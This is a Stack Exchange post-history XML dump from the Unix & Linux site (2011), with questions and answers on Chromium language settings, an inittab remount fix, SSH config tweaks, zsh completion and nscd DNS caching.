  <row Id="14135" PostHistoryTypeId="1" PostId="6220" RevisionGUID="4ca45b0d-0aab-41df-b3f1-bd640c25c8f8" CreationDate="2011-01-20T23:32:07.823" UserId="1068" Text="How can I change the language in chromium?" />
  <row Id="14136" PostHistoryTypeId="3" PostId="6220" RevisionGUID="4ca45b0d-0aab-41df-b3f1-bd640c25c8f8" CreationDate="2011-01-20T23:32:07.823" UserId="1068" Text="échromeàéi18nà" />
  <row Id="14137" PostHistoryTypeId="2" PostId="6221" RevisionGUID="b4ae51b0-10c1-4ffb-9f34-550c24d33213" CreationDate="2011-01-21T00:00:33.870" UserId="688" Text="I use version **6.0.472.63** and I found **Change font and language settings** under **Customize and control Chromium** --&gt; **Options** --&gt; **Under the hood**." />
  <row Id="14138" PostHistoryTypeId="16" PostId="6173" RevisionGUID="e551cc0c-222f-4a16-b303-410a7500780a" CreationDate="2011-01-21T00:01:11.277" UserId="73" />
  <row Id="14139" PostHistoryTypeId="16" PostId="6175" RevisionGUID="1d45dd47-7960-49de-9590-2ccb1264f653" CreationDate="2011-01-21T00:01:11.277" UserId="73" />
  <row Id="14140" PostHistoryTypeId="16" PostId="6181" RevisionGUID="7ea114b2-7426-4e67-b72b-7b099113217d" CreationDate="2011-01-21T00:01:11.277" UserId="73" />
  <row Id="14141" PostHistoryTypeId="16" PostId="6219" RevisionGUID="901f5118-40bc-4538-afcd-52392e2c18a1" CreationDate="2011-01-21T00:01:11.277" UserId="73" />
  <row Id="14142" PostHistoryTypeId="16" PostId="6170" RevisionGUID="be142b5b-ba35-472f-b829-454e6457d881" CreationDate="2011-01-21T00:01:11.277" UserId="73" />
  <row Id="14147" PostHistoryTypeId="2" PostId="6223" RevisionGUID="d65bb5a6-5033-4a52-82f9-3bffe82ec48d" CreationDate="2011-01-21T00:40:33.510" UserId="885" Text="There is a preference to set the language preference for web pages: in the “Preferences” dialog ([which may be called differently in your version](http://unix.stackexchange.com/questions/6220/how-can-i-change-the-language-in-chromium/6221#6221)), in the “Under the Hood” tab, click “Change font and language settings”.&#xD;&#xA;&#xD;&#xA;This doesn't give you full control (you can only select languages that Chrome knows about, and there won't be a `*` at the end to make the server fall back on whatever it has available if it doesn't happen to know your language). In the `Preferences` file in your profile (i.e. typically `~/.config/google-chrome/Default/Preferences`), you can tune the setting more finely:&#xD;&#xA;&#xD;&#xA;   {&#xD;&#xA;     &quot;intl&quot;: {&#xD;&#xA;        &quot;accept_languages&quot;: &quot;en_US,en_GB,en,de_DE,de,*&quot;,&#xD;&#xA;     },&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;(The syntax is [JSON](http://en.wikipedia.org/wiki/JSON). Edit the existing `&quot;intl&quot;` section.)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The language of the user interface is determined by the `LC_MESSAGES` environment variable, which is the standard setting under unix. At least, this is the case for Google Chrome 9.0.597.45 under Debian (from [Google's apt repository](http://dl.google.com/linux/chrome/deb/)); Chromium under Ubuntu lucid seems determined to speak to me in English.&#xD;&#xA;" />
  <row Id="14149" PostHistoryTypeId="6" PostId="4249" RevisionGUID="3f7a7ac6-e8d4-47a8-89d6-1b9b9c80cfe3" CreationDate="2011-01-21T00:48:21.457" UserId="885" Comment="edited tags" Text="éx11àécronàéscriptingàégtkà" />
  <row Id="14150" PostHistoryTypeId="6" PostId="2355" RevisionGUID="1fcffcb6-2da4-4519-b307-1272a931bb3e" CreationDate="2011-01-21T00:48:42.567" UserId="885" Comment="edited tags" Text="égnomeàégtkà" />
  <row Id="14151" PostHistoryTypeId="6" PostId="1487" RevisionGUID="df9dfcc2-5ca4-4a36-8c5c-ff873b821915" CreationDate="2011-01-21T00:49:01.260" UserId="885" Comment="edited tags" Text="éwindowömanageràéxfceàégtkàéappearanceà" />
  <row Id="14153" PostHistoryTypeId="2" PostId="6224" RevisionGUID="b1538454-b32c-4c26-94bd-f2a4748bac89" CreationDate="2011-01-21T02:59:04.103" UserId="4033" Text="I have an embedded system that boots off compact flash and runs with the initrd.img ramdisk mounted as root. When booting, it mounts the initrd image ok in read only mode but then when inittab runs, it seems to skip over the first mount command which is&#xD;&#xA;&#xD;&#xA;    null::sysinit:/bin/mount -o remount,rw /&#xD;&#xA;&#xD;&#xA;I have /etc/fstab setup with the correct options as far as I know:&#xD;&#xA;&#xD;&#xA;    /dev/root    /    ext2    rw,noauto,noatime    1    1&#xD;&#xA;&#xD;&#xA;The system then manages to get me a command prompt and I can then login as root and type the mount command which works without a problem.&#xD;&#xA;&#xD;&#xA;Furthermore, this same setup has worked on a seemingly identical piece of target hardware. The difference is that I am creating the boot image from my laptop instead of the usual server that we use. My laptop is running a newer version of grub which I use to make a bootloader for the image. Perhaps I also have a newer version of ext2fs which is used to make the image used as the ramdisk. The server is running FC10 but my laptop is using ubuntu so there must be some differences that I'm overlooking which is affecting mount or inittab. Could it be something to do with /dev/null?&#xD;&#xA;&#xD;&#xA;Why isn't the system remounting the ramdisk image and how can I fix it?" />
  <row Id="14154" PostHistoryTypeId="1" PostId="6224" RevisionGUID="b1538454-b32c-4c26-94bd-f2a4748bac89" CreationDate="2011-01-21T02:59:04.103" UserId="4033" Text="Inittab seems to ignore remount,rw /" />
  <row Id="14155" PostHistoryTypeId="3" PostId="6224" RevisionGUID="b1538454-b32c-4c26-94bd-f2a4748bac89" CreationDate="2011-01-21T02:59:04.103" UserId="4033" Text="ébootàéembeddedà" />
  <row Id="14156" PostHistoryTypeId="2" PostId="6225" RevisionGUID="4de7f482-2d69-4802-b96b-8d51477b0193" CreationDate="2011-01-21T03:26:45.097" UserId="3101" Text="I have a brand new install of Ubuntu 10.10 x64 in an attempt to solve the following problem from my previous 10.04 x86 install, but with the exact same problem persisting. When trying to run Amarok or Skype, which I am told produce their GUI component via the KDE and QT frameworks ( I may be misusing these terms but I hope my point comes across ), both of these applications fail to produce menus when a menu producing button is clicked. This of course, makes both of these apps useless.&#xD;&#xA;&#xD;&#xA;I installed both apps through the Ubuntu software manager, so expected that any KDE runtime dependencies would have been taken care of already. I then installed kdelibs manually from the console, which didn't appear to be installed already, but this didn't seem to change anything. I installed a QT GUI settings management application to see if somehow menus were turned off or something for QT applications, but the QT settings application itself appears to suffer from the same lack of popdown menus... I don't have this problem with any of my Gnome apps.&#xD;&#xA;&#xD;&#xA;What is wrong here? How can I make these applications work?" />
  <row Id="14157" PostHistoryTypeId="1" PostId="6225" RevisionGUID="4de7f482-2d69-4802-b96b-8d51477b0193" CreationDate="2011-01-21T03:26:45.097" UserId="3101" Text="Can't get pop down menus to do anything in KDE/QT application GUIs in Ubuntu (Gnome session)" />
  <row Id="14158" PostHistoryTypeId="3" PostId="6225" RevisionGUID="4de7f482-2d69-4802-b96b-8d51477b0193" CreationDate="2011-01-21T03:26:45.097" UserId="3101" Text="éubuntuàégnomeàékdeàéguià" />
  <row Id="14159" PostHistoryTypeId="5" PostId="6224" RevisionGUID="be1b7e7a-7b09-4c36-a191-3fbf41ad808e" CreationDate="2011-01-21T03:38:52.900" UserId="4033" Comment="Changed ext2fs to genext2fs" Text="I have an embedded system that boots off compact flash and runs with the initrd.img ramdisk mounted as root. When booting, it mounts the initrd image ok in read only mode but then when inittab runs, it seems to skip over the first mount command which is&#xD;&#xA;&#xD;&#xA;    null::sysinit:/bin/mount -o remount,rw /&#xD;&#xA;&#xD;&#xA;I have /etc/fstab setup with the correct options as far as I know:&#xD;&#xA;&#xD;&#xA;    /dev/root    /    ext2    rw,noauto,noatime    1    1&#xD;&#xA;&#xD;&#xA;The system then manages to get me a command prompt and I can then login as root and type the mount command which works without a problem.&#xD;&#xA;&#xD;&#xA;Furthermore, this same setup has worked on a seemingly identical piece of target hardware. The difference is that I am creating the boot image from my laptop instead of the usual server that we use. My laptop is running a newer version of grub which I use to make a bootloader for the image. Perhaps I also have a newer version of genext2fs which is used to make the image used as the ramdisk. The server is running FC10 but my laptop is using ubuntu so there must be some differences that I'm overlooking which is affecting mount or inittab. Could it be something to do with /dev/null?&#xD;&#xA;&#xD;&#xA;Why isn't the system remounting the ramdisk image and how can I fix it?" />
  <row Id="14160" PostHistoryTypeId="2" PostId="6226" RevisionGUID="dc1320b1-14ee-47fc-8f35-03457a708bf9" CreationDate="2011-01-21T03:43:55.953" UserId="3169" Text="Are you sure your distribution reads `/etc/inittab`?&#xD;&#xA;&#xD;&#xA;For example, Ubuntu now uses `upstart`, which uses a different set of configuration files.&#xD;&#xA;&#xD;&#xA;Another thought: put another entry in there that runs `mount` and redirects the output to a file.  That will prove if `inittab` is being read, and if the filesystems are in the expected state at the time you're trying to run the remount." />
  <row Id="14161" PostHistoryTypeId="2" PostId="6227" RevisionGUID="b1b6b5eb-922d-4c31-8e77-0d6f28bcd92f" CreationDate="2011-01-21T03:51:40.953" UserId="4034" Text="Edit your /etc/ssh/ssh_config and comment this lines:&#xD;&#xA;&#xD;&#xA;    #    GSSAPIAuthentication yes&#xD;&#xA;    #    GSSAPIDelegateCredentials no" />
  <row Id="14162" PostHistoryTypeId="2" PostId="6228" RevisionGUID="1634406b-2c4e-4e90-8a03-1c425d22635c" CreationDate="2011-01-21T04:03:11.427" UserId="4033" Text="I managed to solve my problem using two steps:&#xD;&#xA;&#xD;&#xA;The first was to get rid of the null at the start of the line in inittab which just allows errors to be seen on the console. This revealed that the error was to do with /proc/mounts. I changed inittab so that the `::sysinit:/bin/mount -t proc /proc` came above the `remount,rw /` stuff and it's now ok. &#xD;&#xA;&#xD;&#xA;The mystery remains why the other system boots anyway with supposedly identical binaries of the kernel and busybox - I'm still thinking that genext2fs must set something up differently in my version such that the `mount -o remount,rw` command is happy to go ahead without /proc/mounts" />
  <row Id="14163" PostHistoryTypeId="2" PostId="6229" RevisionGUID="5e4dc668-56c4-4c1b-bde7-5faa9bad1454" CreationDate="2011-01-21T04:20:45.983" UserId="4033" Text="I worked on a system using uboot which had custom hardware and was ported to arm and powerpc. There were two things that needed to be set up. First there is a place in u-boot where you can add board support to set registers and create handler functions for accessing RAM or FLASH on your device.&#xD;&#xA;&#xD;&#xA;You then have to write similar support in the /arch part of the linux tree. I think keywords to google for are &quot;board support&quot;" />
  <row Id="14164" PostHistoryTypeId="2" PostId="6230" RevisionGUID="6ef7f2d8-c042-4e63-b805-894e66ad6ae4" CreationDate="2011-01-21T04:52:49.900" UserId="3229" Text="I had this problem and ended up turning off Reverse DNS resolution in SSH&#xD;&#xA;&#xD;&#xA;So in sshd_config change this:&#xD;&#xA;&#xD;&#xA;     #UseDNS yes&#xD;&#xA;&#xD;&#xA;to this:&#xD;&#xA;&#xD;&#xA;    UseDNS no" />
  <row Id="14165" PostHistoryTypeId="25" PostId="6224" RevisionGUID="43522e37-2f4c-42e9-a64d-6dd1d2d7a34c" CreationDate="2011-01-21T04:55:44.860" Comment="http://twitter.com/#!/StackUnix/status/28314782226448384" />
  <row Id="14166" PostHistoryTypeId="5" PostId="5229" RevisionGUID="42162dcb-c078-419f-a91b-edca964aa164" CreationDate="2011-01-21T05:00:32.470" UserId="3360" Comment="updated with solution based on accepted answer" Text="In zsh (as well as bash) you can use some history word expansions to denote arguments from previous commands. &#xD;&#xA;&#xD;&#xA;This example shows getting the 2nd parameter from the previous command in history with `!:#` expansion:&#xD;&#xA;&#xD;&#xA;    % echo foo bar baz&#xD;&#xA;    foo bar baz&#xD;&#xA;    % echo !:2&#xD;&#xA;    echo bar&#xD;&#xA;    bar&#xD;&#xA;&#xD;&#xA;I often forget exactly what # parameter a particular argument is and typing `!:#` isn't always that quick when I do remember which arg it is.  I know about `meta-.` to replace the last argument, but sometimes it isn't the last arg that I want.&#xD;&#xA;&#xD;&#xA;I'd like to add the arguments from the previous command as suggestions to complete any command that I'm typing in zsh.&#xD;&#xA;&#xD;&#xA;I was able to figure out how to create a shell function that can create an array of arguments (0..N) from the last command and bind it to a particular command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    _last_command_args() {&#xD;&#xA;        last_command=$history[$[HISTCMD-1]]&#xD;&#xA;        last_command_array=(&quot;${(s/ /)last_command}&quot;) &#xD;&#xA;        _sep_parts last_command_array&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # trying to get last_command_args to be suggested for any command, this just works for foo&#xD;&#xA;    compdef _last_command_args foo&#xD;&#xA;&#xD;&#xA;This is what it looks like for completing just foo where I hit the tab key at `&lt;TAB&gt;`:&#xD;&#xA;&#xD;&#xA;    % echo bar baz qux&#xD;&#xA;    bar baz qux&#xD;&#xA;    % foo &lt;TAB&gt;&#xD;&#xA;    bar   baz   echo  qux &#xD;&#xA;&#xD;&#xA;This works great for completing the command &quot;foo&quot;, but I'd like these to be options on any zsh expansion that I do.  I think it's got something to do with the zstyle completer stuff, but after a few hours of hacking around I realized I'm out of my depth.&#xD;&#xA;&#xD;&#xA;How can I get the arguments from my previous command as suggested completions for any command in zsh?&#xD;&#xA;&#xD;&#xA;I've got my full [zshrc compinstall file][1] shared out on bitbucket if that helps.  Lots of it is cribbed from a variety of sources and some of it I've hacked together myself.&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;@Julien Nicoulaud's answer got me close, I'm marking it as accepted as it got me where I needed to get.  &#xD;&#xA;&#xD;&#xA;With my particular config, using the suggested:&#xD;&#xA;&#xD;&#xA;    zstyle ':completion:*' completer _last_command_args _complete&#xD;&#xA;&#xD;&#xA;Didn't quite work for me as it was causing tab completion to only display the list of arguments from the last command (though it'd actually complete with filenames as well, just not display them).  Changing the order to `_complete _last_command_args` did the reverse.  It'd display the normal filenames, but not last_command_args&#xD;&#xA;&#xD;&#xA;I'm guessing this has something to do with the way completer works.  I think it only displays the output from the first method that returns successfully, but I'm having trouble parsing the zsh source to understand fully what's going on.  I was able to tweak my method to include a call to `_complete` so that it showed both last argument commands as well as the regular autocomplete stuff.  Not quite as separated, but works well enough for me.&#xD;&#xA;&#xD;&#xA;Here's the full function I used along with the other zstyle stuff I have:&#xD;&#xA;&#xD;&#xA;    # adds the arguments from the last commadn to the autocomplete list&#xD;&#xA;    # I wasn't able to get this to work standalone and still print out both regular&#xD;&#xA;    # completion plus the last args, but this works well enough.&#xD;&#xA;    _complete_plus_last_command_args() {&#xD;&#xA;        last_command=$history[$[HISTCMD-1]]&#xD;&#xA;        last_command_array=(&quot;${(s/ /)last_command}&quot;) &#xD;&#xA;        _sep_parts last_command_array&#xD;&#xA;        _complete &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    _force_rehash() {&#xD;&#xA;      (( CURRENT == 1 )) &amp;&amp; rehash&#xD;&#xA;      return 1	# Because we didn't really complete anything&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    zstyle ':completion:::::' completer _force_rehash _complete_plus_last_command_args _approximate &#xD;&#xA;&#xD;&#xA;Other zstyle lines I have, not necessary for this to work, but could affect why this works for me:&#xD;&#xA;&#xD;&#xA;    zstyle -e ':completion:*:approximate:*' max-errors 'reply=( $(( ($#PREFIX + $#SUFFIX) / 3 )) )'&#xD;&#xA;    zstyle ':completion:*:descriptions' format &quot;- %d -&quot;&#xD;&#xA;    zstyle ':completion:*:corrections' format &quot;- %d - (errors %e})&quot;&#xD;&#xA;    zstyle ':completion:*:default' list-prompt '%S%M matches%s'&#xD;&#xA;    zstyle ':completion:*' group-name ''&#xD;&#xA;    zstyle ':completion:*:manuals' separate-sections true&#xD;&#xA;    zstyle ':completion:*' menu select&#xD;&#xA;    zstyle ':completion:*' verbose yes&#xD;&#xA;&#xD;&#xA;Now, if I'm in a directory with `file1.txt` and `file2.txt`, and my last command was `echo foo bar baz`, I get this for autocomplete which is just what I wanted:&#xD;&#xA;&#xD;&#xA;    % ls&#xD;&#xA;    bar   baz   echo  foo &#xD;&#xA;    - files -&#xD;&#xA;    file1.txt   file2.txt &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/tednaleid/shared-zshrc/src/tip/zshrc_compinstall" />
  <row Id="14167" PostHistoryTypeId="25" PostId="6197" RevisionGUID="a98e6f47-c101-48bf-aa47-c4010e91872c" CreationDate="2011-01-21T07:55:44.683" Comment="http://twitter.com/#!/StackUnix/status/28360079950483457" />
  <row Id="14168" PostHistoryTypeId="2" PostId="6231" RevisionGUID="3a4b4f61-ab13-4718-b390-149f7c92ced3" CreationDate="2011-01-21T08:27:07.570" UserId="3097" Text="You may find useful `xinput list` and `xinput test &lt;device&gt;`.&#xD;&#xA;&#xD;&#xA;For example,&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ xinput list&#xD;&#xA;⎡ Virtual core pointer                     id=2    [master pointer  (3)]&#xD;&#xA;⎜   ↳ Virtual core XTEST pointer           id=4    [slave  pointer  (2)]&#xD;&#xA;⎜   ↳ SynPS/2 Synaptics TouchPad           id=11   [slave  pointer  (2)]&#xD;&#xA;⎣ Virtual core keyboard                    id=3    [master keyboard (2)]&#xD;&#xA;    ↳ Virtual core XTEST keyboard          id=5    [slave  keyboard (3)]&#xD;&#xA;    ↳ Power Button                         id=6    [slave  keyboard (3)]&#xD;&#xA;    ↳ Video Bus                            id=7    [slave  keyboard (3)]&#xD;&#xA;    ↳ Sleep Button                         id=8    [slave  keyboard (3)]&#xD;&#xA;    ↳ Asus Laptop extra buttons            id=9    [slave  keyboard (3)]&#xD;&#xA;    ↳ AT Translated Set 2 keyboard         id=10   [slave  keyboard (3)]&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;and I can monitor my keyboard (`xinput test 10`) or touchpad (`xinput test 11`, or even `xinput test &quot;SynPS/2 Synaptics TouchPad&quot;`) for all kinds of input events, and they get pretty printed to console, and parameters get extracted and printed too.&#xD;&#xA;&#xD;&#xA;This won't solve your problem, but at least will help a bit by deciphering the clutter which e.g. `cat /dev/input/event1` produces." />
  <row Id="14183" PostHistoryTypeId="17" PostId="6239" RevisionGUID="bdd30815-e41d-4f01-8f39-f42910812865" CreationDate="2011-01-21T09:54:38.520" UserId="-1" Comment="from http://serverfault.com/questions/135835/dns-queries-not-using-nscd-for-caching/135836#135836" Text="" />
  <row Id="14184" PostHistoryTypeId="17" PostId="6240" RevisionGUID="5e05ae24-9c46-4aa1-9f75-cbabf4bbe623" CreationDate="2011-01-21T09:54:38.520" UserId="-1" Comment="from http://serverfault.com/questions/135835/dns-queries-not-using-nscd-for-caching/136785#136785" Text="" />
  <row Id="14185" PostHistoryTypeId="17" PostId="6241" RevisionGUID="49c10f6f-e7e3-4374-921b-2be15ad7fe4f" CreationDate="2011-01-21T09:54:38.520" UserId="-1" Comment="from http://serverfault.com/questions/135835/dns-queries-not-using-nscd-for-caching/138629#138629" Text="" />
  <row Id="14186" PostHistoryTypeId="17" PostId="6242" RevisionGUID="0b96e17b-b997-4173-aa4d-7718f5f4dfb3" CreationDate="2011-01-21T09:54:38.520" UserId="-1" Comment="from http://serverfault.com/questions/135835/dns-queries-not-using-nscd-for-caching/165523#165523" Text="" />
  <row Id="14187" PostHistoryTypeId="17" PostId="6243" RevisionGUID="ad710787-ff69-4151-b24c-375e74bb02e0" CreationDate="2011-01-21T09:54:38.520" UserId="-1" Comment="from http://serverfault.com/questions/135835/dns-queries-not-using-nscd-for-caching/165538#165538" Text="" />
  <row Id="14188" PostHistoryTypeId="2" PostId="6239" RevisionGUID="fbb1549d-27f2-43ac-8d91-76a3cf9e6cd0" CreationDate="2010-04-10T01:41:37.030" UserDisplayName="Marnix A.  van Ammers" Text="I don't know that much about nscd except that it so often caused trouble with DNS lookups that I always disabled it (or at least the host lookups part of it).   Nscd lets you set the time-to-live values and I know DNS expects to &quot;own&quot; those values and have all resolvers honor them.  You can end up with weird results if the TTLs in DNS aren't honored.  My recommendation is not to use nscd for caching DNS.  It looks like you already have a caching name server running on your local box, so no need to cache DNS lookups twice.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14189" PostHistoryTypeId="2" PostId="6240" RevisionGUID="ca81041b-4681-43e3-80ab-a82c3e4cdb98" CreationDate="2010-04-28T21:06:52.767" UserId="1136" Text="You're missing the hosts configuration in nscd.conf. I'm posting mine as an example:&#xD;&#xA;&#xD;&#xA;    enable-cache            hosts           yes&#xD;&#xA;    positive-time-to-live   hosts           3600&#xD;&#xA;    negative-time-to-live   hosts           20&#xD;&#xA;    suggested-size          hosts           211&#xD;&#xA;    check-files             hosts           yes&#xD;&#xA;    persistent              hosts           yes&#xD;&#xA;    shared                  hosts           yes&#xD;&#xA;    max-db-size             hosts           33554432&#xD;&#xA;&#xD;&#xA;This will break some things. The following information is from the Debian package:&#xD;&#xA;&#xD;&#xA;      Since this release, hosts caching in nscd is off by default: for some of the&#xD;&#xA;      libc calls (gethostby* calls) nscd does not respect the DNS TTLs.  It can&#xD;&#xA;      lead to system lockups (e.g. if you are using pam-ldap and change the IP of&#xD;&#xA;      your authentication server) hence is not considered safe.&#xD;&#xA;    &#xD;&#xA;      See debian bug #335476 and how upstream answered to that in&#xD;&#xA;      http://sourceware.org/bugzilla/show_bug.cgi?id=4428.&#xD;&#xA;    &#xD;&#xA;     -- Pierre Habouzit &lt;madcoder@debian.org&gt;  Sat, 28 Apr 2007 11:10:56 +0200&#xD;&#xA;&#xD;&#xA;Best of luck,  &#xD;&#xA;João Miguel Neves&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14190" PostHistoryTypeId="2" PostId="6241" RevisionGUID="84053f32-18a5-4804-b0ee-1024f8ab9e8b" CreationDate="2010-05-05T01:26:58.780" UserDisplayName="apenwarr" Text="nscd is really unreliable for everything, not just DNS.  It's well worth avoiding unless you desperately need it for some reason.  You should use a purpose-made DNS caching daemon if you want to cache DNS locally (which is a good idea!).&#xD;&#xA;&#xD;&#xA;Two of my favourites are [dnsmasq](http://www.thekelleys.org.uk/dnsmasq/doc.html) and [dnscache from djbdns](http://cr.yp.to/djbdns.html).&#xD;&#xA;" />
  <row Id="14191" PostHistoryTypeId="2" PostId="6242" RevisionGUID="c743f2ad-5e78-4825-88b4-40e40bda4b5e" CreationDate="2010-07-30T08:14:17.450" UserDisplayName="Janne Pikkarainen" Text="If there is DNS caching in Hell, it is provided by nscd. Don't. Use. It.&#xD;&#xA;&#xD;&#xA;Just to be different: [pdnsd][1] is actually a very nice replacement. Or unscd (used by default at least in openSUSE).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phys.uu.nl/~rombouts/pdnsd/index.html#aboutpdnsd" />
  <row Id="14192" PostHistoryTypeId="2" PostId="6243" RevisionGUID="112df72c-750e-4765-bcb1-4dc4ed828124" CreationDate="2010-07-30T09:18:42.717" UserDisplayName="Ressu" Text="The reason why you are missing the cache hits is that dig queries the DNS directly. You can try and see whether the cache works with the `getent` command:&#xD;&#xA;&#xD;&#xA;    getent hosts host.example.com&#xD;&#xA;&#xD;&#xA;Running a separate caching DNS is a good idea, but you should consider running it on the network level if possible. If each host cache the data separately they will still run multiple queries for the same hosts. Single cache works around this problem.&#xD;&#xA;&#xD;&#xA;Nscd itself is a caching daemon for NSS functions. So the focus is a bit different than native caching nameservers. So if you just want a caching nameserver, use something else than nscd. If instead you wish to cache things like shared usernames and hostdata outside of the normal DNS system, go for nscd.&#xD;&#xA;&#xD;&#xA;And for the record, I've grown quite fond of powerdns resolver (pdns-resolver)." />
  <row Id="14193" PostHistoryTypeId="2" PostId="6238" RevisionGUID="37bb9dde-6cdd-483a-973b-770c59740103" CreationDate="2010-04-10T00:20:19.687" UserId="29" Text="I'm trying to use nscd (Nameservices Cache Daemon) to cache dns locally so I can stop using bind to do it. I've gotten it started and ntpd seems to attempt to use it. But everything else for hosts seems to ignore it. e.g if I do dig apache.org 3 times none of them will hit the cache. I'm viewing the cache stats using nscd -g to determine whether it's been used. I've also turned the debug log level up to see if I can see it hitting and the queries don't even hit nscd.&#xD;&#xA;&#xD;&#xA;nsswitch.conf&#xD;&#xA;&#xD;&#xA;    # Begin /etc/nsswitch.conf&#xD;&#xA;    passwd: files&#xD;&#xA;    group: files&#xD;&#xA;    shadow: files&#xD;&#xA;&#xD;&#xA;    publickey: files&#xD;&#xA;&#xD;&#xA;    hosts: cache files dns&#xD;&#xA;    networks: files&#xD;&#xA;&#xD;&#xA;    protocols: files&#xD;&#xA;    services: files&#xD;&#xA;    ethers: files&#xD;&#xA;    rpc: files&#xD;&#xA;&#xD;&#xA;    netgroup: files&#xD;&#xA;    # End /etc/nsswitch.confenter code here&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;nscd.conf&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # /etc/nscd.conf&#xD;&#xA;    #&#xD;&#xA;    # An example Name Service Cache config file.  This file is needed by nscd.&#xD;&#xA;    #&#xD;&#xA;    # Legal entries are:&#xD;&#xA;    #&#xD;&#xA;    #       logfile                 &lt;file&gt;&#xD;&#xA;    #       debug-level             &lt;level&gt;&#xD;&#xA;    #       threads                 &lt;initial #threads to use&gt;&#xD;&#xA;    #       max-threads             &lt;maximum #threads to use&gt;&#xD;&#xA;    #       server-user             &lt;user to run server as instead of root&gt;&#xD;&#xA;    #               server-user is ignored if nscd is started with -S parameters&#xD;&#xA;    #       stat-user               &lt;user who is allowed to request statistics&gt;&#xD;&#xA;    #       reload-count            unlimited|&lt;number&gt;&#xD;&#xA;    #       paranoia                &lt;yes|no&gt;&#xD;&#xA;    #       restart-interval        &lt;time in seconds&gt;&#xD;&#xA;    #&#xD;&#xA;    #       enable-cache            &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #       positive-time-to-live   &lt;service&gt; &lt;time in seconds&gt;&#xD;&#xA;    #       negative-time-to-live   &lt;service&gt; &lt;time in seconds&gt;&#xD;&#xA;    #       suggested-size          &lt;service&gt; &lt;prime number&gt;&#xD;&#xA;    #       check-files             &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #       persistent              &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #       shared                  &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #       max-db-size             &lt;service&gt; &lt;number bytes&gt;&#xD;&#xA;    #       auto-propagate          &lt;service&gt; &lt;yes|no&gt;&#xD;&#xA;    #&#xD;&#xA;    # Currently supported cache names (services): passwd, group, hosts, services&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;        logfile                 /var/log/nscd.log&#xD;&#xA;        threads                 4&#xD;&#xA;        max-threads             32&#xD;&#xA;        server-user             nobody&#xD;&#xA;    #   stat-user               somebody&#xD;&#xA;        debug-level             9&#xD;&#xA;    #   reload-count            5&#xD;&#xA;        paranoia                no&#xD;&#xA;    #   restart-interval        3600&#xD;&#xA;&#xD;&#xA;        enable-cache            passwd          yes&#xD;&#xA;        positive-time-to-live   passwd          600&#xD;&#xA;        negative-time-to-live   passwd          20&#xD;&#xA;        suggested-size          passwd          211&#xD;&#xA;        check-files             passwd          yes&#xD;&#xA;        persistent              passwd          yes&#xD;&#xA;        shared                  passwd          yes&#xD;&#xA;        max-db-size             passwd          33554432&#xD;&#xA;        auto-propagate          passwd          yes&#xD;&#xA;&#xD;&#xA;        enable-cache            group           yes&#xD;&#xA;        positive-time-to-live   group           3600&#xD;&#xA;        negative-time-to-live   group           60&#xD;&#xA;        suggested-size          group           211&#xD;&#xA;        check-files             group           yes&#xD;&#xA;        persistent              group           yes&#xD;&#xA;        shared                  group           yes&#xD;&#xA;        max-db-size             group           33554432&#xD;&#xA;        auto-propagate          group           yes&#xD;&#xA;&#xD;&#xA;        enable-cache            hosts           yes&#xD;&#xA;        positive-time-to-live   hosts           3600&#xD;&#xA;        negative-time-to-live   hosts           20&#xD;&#xA;        suggested-size          hosts           211&#xD;&#xA;        check-files             hosts           yes&#xD;&#xA;        persistent              hosts           yes&#xD;&#xA;        shared                  hosts           yes&#xD;&#xA;        max-db-size             hosts           33554432&#xD;&#xA;&#xD;&#xA;        enable-cache            services        yes&#xD;&#xA;        positive-time-to-live   services        28800&#xD;&#xA;        negative-time-to-live   services        20&#xD;&#xA;        suggested-size          services        211&#xD;&#xA;        check-files             services        yes&#xD;&#xA;        persistent              services        yes&#xD;&#xA;        shared                  services        yes&#xD;&#xA;        max-db-size             services        33554432&#xD;&#xA;&#xD;&#xA;resolv.conf&#xD;&#xA;&#xD;&#xA;    # Generated by dhcpcd from eth0&#xD;&#xA;    nameserver 127.0.0.1&#xD;&#xA;    domain westell.com&#xD;&#xA;    nameserver 192.168.1.1&#xD;&#xA;    nameserver 208.67.222.222&#xD;&#xA;    nameserver 208.67.220.220&#xD;&#xA;&#xD;&#xA;as kind of a side note I'm using archlinux." />
  <row Id="14194" PostHistoryTypeId="1" PostId="6238" RevisionGUID="37bb9dde-6cdd-483a-973b-770c59740103" CreationDate="2010-04-10T00:20:19.687" UserId="29" Text="dns queries not using nscd for caching" />
  <row Id="14195" PostHistoryTypeId="3" PostId="6238" RevisionGUID="37bb9dde-6cdd-483a-973b-770c59740103" CreationDate="2010-04-10T00:20:19.687" UserId="29" Text="élinuxàédnsàécacheàéarchölinuxàénscdà" />
  <row Id="14196" PostHistoryTypeId="17" PostId="6238" RevisionGUID="b396cb51-6c39-49e1-80b0-3b6cc27383f8" CreationDate="2011-01-21T09:54:38.520" UserId="-1" Comment="from http://serverfault.com/questions/135835/dns-queries-not-using-nscd-for-caching" Text="" />
